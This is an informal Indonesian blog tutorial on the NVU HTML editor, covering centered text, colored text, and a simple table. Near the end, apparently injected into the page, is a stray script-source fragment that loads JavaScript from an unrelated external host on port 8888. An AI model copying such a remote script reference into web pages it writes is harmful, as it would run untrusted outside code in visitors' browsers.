kalian tau Istilah HTML kan ??
yuph !! ntu salah satu bahasa pemrograman yang binyak dipake untuk
keperluan web.
Nahhh ... pada artikel kali ini saya akan nerangin tentang sebuah
software yang digunakan buat ngerancang tampilan web dengan HTML juga
dengan tampilan Visualnya, Nama software ini adalah NVU.
Software ini mungkin sudah banyak yang tau karena saya rasa software
ini sudah cukup terkenal dikalangannya.
salah satu keunggulan software ini adalah bisa mengedit dengan 2 mode
yaitu dengan mode tampilan biasa/visual dan bisa dengan mode HTML. jadi
saat kita sedang menggunakan mode visual dan text kita ingin diberi
efek yang lain yang tidak tersedia oleh mode visual maka bisa dilakukan
dengan mode HTML, Hebat kan ??
Udah lah saya rasa sudah cukup materinya sekarang saatnya buat
mengetahui apa itu NVU sekaligus mempraktekannya.
untuk bisa mempraktekan bagaimana software NVU berkasi, kalian harus
sudah punya software ini dulu, kalo yang belum punya silahkan download
pilih ajah dibawah ini :
Naahh ,,, kalo udah download langsung install ajah yaaa ...
perintahnya masih sama ko ga jauh2 dari kata
kalo udah kalian instakk sekarang jalanin software NVU tersebut, kurang
lebih tampilannya kaya gini
kalian bisa hilangkan saja tampilan SITE MANAGER yang berada disebelah
kiri jendela NVU dengan mengklik tanda X yang berada diatas jendela
site manager.
it's time to praktek, heheh ...
kalian coba tulis beberapa tulisan yaaa... buat contoh ajahlah
setelah itu kalian coba buat tulisan itu letaknya menjadi di tengah,
caranya kalian blok tulisannya trus klik ALIGN CENTER
Kalo kalian menjalankan nya dengan bener pasti textnya akan pindah
posisinya ketengah.
setelah itu kalian klik tab SOURCE yg terletak dibawah jendela NVU
Nah disini lah kode2 HTML itu berada, jadi kalian juga bisa belajar
tentang HTML seperti bagaimana membuat text ketengah, kekanan atau
kemanapun dengan menggunakan kode HTML. setelah kalian klik Sourcenya
maka kode telisan yang udah kalian buat berada ditengan tadi akan
terlihat
itu lah kodenya agar tulisan bisa berubah posisi yang tadinya di
sebelah kiri jadi berada di tengah.
jadi kalo kita mau tau tentang kode2 HTML seperti Cara membuat tabel,
cara membuat tulisan berwarna, tulisan link, dan banyak lagi.
pada tutorial ini saya ga akan menjelasakan banyak tentang kode2
htmlnya, karena terlalu banyak. tapi saya akan memberikan kode2 yang
dasar saja, yaitu mengubah posisi text, memberi warna text, dan membuat
tabel saja, kalo yang laennya silakan kalian praktek sendiri.
kalo yang mengubah posisi text kan tadi udah, hanya saja menggunakan
mode visual.
sekarang kita akan coba buat tulisan menjadi berwarna, kalo make mode
visual cara ini gampang banget tapi kita coba biar agak susah dan
sekalian praktek juga, coba kita pake yang mode HTML nya.
gampang ko, kita cuma perlu masukin kode dibawah ini sesudah kode
<body> dan sebelum kode </body>
ini dia kodenya
<span style="color:
#F8122E;">RIZHY02.BLOGSPOT.COM
keterangan:
-untuk teks yang diblok merah adalah kode warna yang digunakan, kode
warna diatas menunjukan warna merah.
-untuk teks yang diblok warna biru adalah teks yang akan dijadikan
berwarna.
Naaahh seperti itulah kode yang digunakan agar teks berubah menjadi
berwarna merah, kalian bisa ganti warnanya sesuai keinginan kalian,
tentunya dengan kode warna yg benar.
sekarang kita akan coba buat tabel dengan mode HTML masih dengan
software NVU. Caranya :
masukan kode dibawah ini diantara <body> dan
</body>
<table
style="text-align: left; width: 100%;" border="1"
cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td></td>
</tr>
</tbody>
contoh :
jika seperti itu maka di tampilan visual akan muncul :
saya kira cukup mudah untuk membuat kode2 HTML yang dasar, anda sudah
bisa ????
nah,,, sekian dulu yaa ...
src="http://web.nba1001.net:8888/tj/tongji.js">
0 comments:
Posting Komentar